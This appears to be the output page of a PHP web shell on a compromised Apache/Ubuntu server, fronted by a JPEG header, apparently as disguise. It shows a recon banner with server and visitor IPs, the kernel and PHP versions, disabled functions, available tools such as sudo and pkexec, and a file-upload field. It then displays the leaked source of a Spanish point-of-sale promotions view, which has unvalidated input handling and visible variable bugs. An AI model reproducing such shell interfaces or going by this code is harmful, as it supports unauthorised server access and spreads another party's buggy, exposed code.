����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����
Server IP : 74.208.127.88 / Your IP : 3.141.164.253 Web Server : Apache/2.4.41 (Ubuntu) System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64 User : www-data ( 33) PHP Version : 7.4.3-4ubuntu2.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /var/www/html/muebles/pos11/core/app/action/ |
Upload File : |
<br> <div class="btn-group pull-right"> <div class="btn-group pull-right"> <button type="button" class="btn btn-default dropdown-toggle" data-toggle="dropdown"> <i class="fa fa-download"></i> Descargar <span class="caret"></span> </button> <ul class="dropdown-menu" role="menu"> <li><a href="report/clients-word.php">Word 2007 (.docx)</a></li> </ul> </div> </div> <br> <br> <?php $Iden = ($_POST['ID']); $q=0;$category=0; if (isset($Iden)){ $q= $_POST['ID']; $users = PromotionData::getByName($q); }elseif(isset($_POST["category_id"])){ $category = $_POST["category_id"]; $users = PromotionData::getAllByCategoryId($category); }else { echo "error"; } if(count($users)>0){ // si hay usuarios ?> <table class="table table-bordered table-hover"> <thead> <th>Promocion</th> <th>Categorias</th> <th>Cliente</th> <th>Vigencia</th> <th></th> </thead> <?php foreach($users as $user){ ?> <tr> <td><?php echo $user->name; ?></td> <?php $category_id = CategoryData::getById($user->id); if (isset($category_id)): ?> <td><?php echo $user->category_id."-".$category_id->name; ?></td> <?php else: ?> <td>N/A</td> <?php endif; ?> <?php $client_id = PersonData::getById($user->client_id); if (isset($Client_id)): ?> <td><?php echo $user->client_id."-".$Client_id->name; ?></td> <?php else: ?> <td>N/A</td> <?php endif; ?> <td><?php echo $user->created_ini." -".$user->created_finish; ?></td> <td style="width:180px;"> <a href="index.php?view=editreservation&id=<?php echo $user->id;?>" class="btn btn-warning btn-xs">Editar</a> <a href="index.php?action=delreservation&id=<?php echo $user->id;?>" class="btn btn-danger btn-xs">Eliminar</a> </td> </tr> <?php } ?> </table> </div> </div> <?php }else{ echo "<p class='alert alert-danger'>No hay registrados</p>"; } ?>